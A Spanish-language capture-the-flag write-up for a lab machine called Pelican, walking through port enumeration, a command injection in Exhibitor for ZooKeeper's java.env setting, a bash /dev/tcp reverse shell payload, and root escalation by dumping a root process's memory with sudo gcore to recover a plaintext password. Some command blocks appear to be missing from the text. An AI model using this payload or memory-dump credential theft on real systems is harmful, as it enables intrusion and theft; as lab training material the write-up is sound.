Writeup: M谩quina Pelican¶
1. Reconocimiento (Enumeraci贸n)¶
Comenzamos realizando un escaneo de puertos completo para identificar los servicios expuestos en la m谩quina v铆ctima.
Escaneo con Nmap¶
Utilizamos nmap para escanear todos los puertos TCP (-p-) y ejecutar scripts de enumeraci贸n b谩sicos junto con la detecci贸n de versiones.
Resultados del escaneo: * Puerto 22 & 2222 (SSH): Servicio de acceso remoto. * Puerto 139 & 445 (SMB): Samba corriendo en una versi贸n Debian. * Puerto 631 (IPP): Servicio de impresi贸n CUPS. * Puerto 2181 (Zookeeper): Servicio de coordinaci贸n. * Puerto 8080 (HTTP): Servidor web ejecutando "Exhibitor for ZooKeeper". * Puerto 8081 (Blackice-icecap): API REST de Zookeeper.
An谩lisis: El puerto 8080 es el vector m谩s probable, ya que Exhibitor es una interfaz de gesti贸n que a menudo tiene configuraciones inseguras y vulnerabilidades de inyecci贸n conocidas.
2. Explotaci贸n (Initial Foothold)¶
Investigando el servicio en el puerto 8080, encontramos una vulnerabilidad de Command Injection (RCE).
Vulnerabilidad: Exhibitor RCE¶
La interfaz permite configurar el entorno de Java (java.env) sin autenticaci贸n. Podemos inyectar comandos de sistema que se ejecutar谩n al recargar la configuraci贸n.
Pasos para la explotaci贸n:
1. Accedemos a http://192.168.111.98:8080/exhibitor/v1/ui/index.html.
2. Vamos a la pesta帽a Config -> java.env script.
3. Preparamos un listener local en nuestra m谩quina atacante:
java.env.
* Nota: Es cr铆tico usar bash -c o bash -i expl铆citamente porque la shell por defecto (sh) en Debian es dash y no soporta redirecciones TCP.
**Payload:**
```bash
$(bash -i >& /dev/tcp/192.168.111.98/9001 0>&1)
```
- Hacemos clic en Commit para guardar y ejecutar.
Resultado: Recibimos una conexi贸n inversa (Reverse Shell) como el usuario charles.
3. Enumeraci贸n Post-Explotaci贸n¶
Ya dentro del sistema, buscamos vectores para escalar privilegios.
Permisos Sudo¶
Comprobamos los permisos de sudo del usuario actual:
Salida:
Hallazgo Cr铆tico: Tenemos permiso para ejecutar
/usr/bin/gcorecomo root sin contrase帽a. Esta herramienta genera volcados de memoria (core dumps) de procesos en ejecuci贸n.
Identificaci贸n de Objetivos¶
Buscamos procesos ejecutados por root que puedan contener credenciales en memoria (como gestores de contrase帽as, servicios de autenticaci贸n, etc.).
Identificamos un proceso interesante (en este caso, un gestor de contrase帽as o servicio similar) con el PID 490.4. Escalada de Privilegios (PrivEsc)¶
Usaremos gcore para leer la memoria del proceso root y extraer credenciales en texto plano.
1. Generar el Core Dump:
Esto guarda el archivocore.490 en nuestro directorio actual.
2. Extraer informaci贸n:
Usamos strings para leer el archivo binario y filtrar por contenido legible:
ClogKingpinInning731.
3. Acceso Root: Usamos la contrase帽a encontrada para escalar a root.
Verificamos identidad:5. Loot (Banderas)¶
Buscamos en los directorios del usuario y root para encontrar las banderas correspondientes a cada usuario.
